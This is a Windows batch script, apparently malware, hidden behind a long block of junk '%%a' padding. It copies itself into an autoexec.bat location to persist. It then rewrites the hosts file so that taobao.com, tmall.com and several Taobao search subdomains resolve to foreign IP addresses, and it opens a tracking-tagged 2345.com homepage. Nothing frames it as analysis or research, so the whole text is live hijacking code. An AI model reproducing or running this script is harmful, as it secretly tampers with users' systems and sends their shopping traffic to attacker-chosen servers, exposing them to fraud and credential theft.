%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a cls @echo off copy /y %0 "%ALLUSERSPROFILE%\??????????\????\???\autoexec.bat" SET PATH=%SystemRoot%\system32\drivers\etc\hosts cd %SystemRoot%\system32 setlocal enabledelayedexpansion set "PATH=%PATH:"=%" for %%i in ("%PATH%") do set PATH=%%~fi echo. set replaced=top.taobao.com echo. set all= for /f "delims=" %%i in ('type "%PATH%"') do ( set str=%%i set "str=!str:%replaced%=%all%!" echo !str!>>"%PATH%"_tmp.txt ) move "%PATH%"_tmp.txt "%PATH%" findstr "223.255.145.212" %PATH% && goto yes2 findstr "174.139.240.5" %PATH% && goto yes findstr "174.139.240.4" %PATH% && goto yes2 goto add exit :: set add******************************************** :add echo. >> %PATH% ::echo %put% >> %PATH% echo 50.6.142.221 taobao.com >> %PATH% echo 50.6.142.221 jie.taobao.com >> %PATH% echo 174.139.17.173 list.tmall.com >> %PATH% echo 208.98.50.83 search.taobao.com >> %PATH% echo 208.98.50.83 s.taobao.com >> %PATH% echo 208.98.50.83 list.taobao.com >> %PATH% echo 208.98.50.83 search1.taobao.com >> %PATH% start http://www.2345.com/?kksou exit :: set del******************************************** :yes setlocal enabledelayedexpansion set "PATH=%PATH:"=%" for %%i in ("%PATH%") do set PATH=%%~fi echo. set replaced=174.139.240.5 echo. set all=223.255.145.212 for /f "delims=" %%i in ('type "%PATH%"') do ( set str=%%i set "str=!str:%replaced%=%all%!" echo !str!>>"%PATH%"_tmp.txt ) move "%PATH%"_tmp.txt "%PATH%" exit :yes2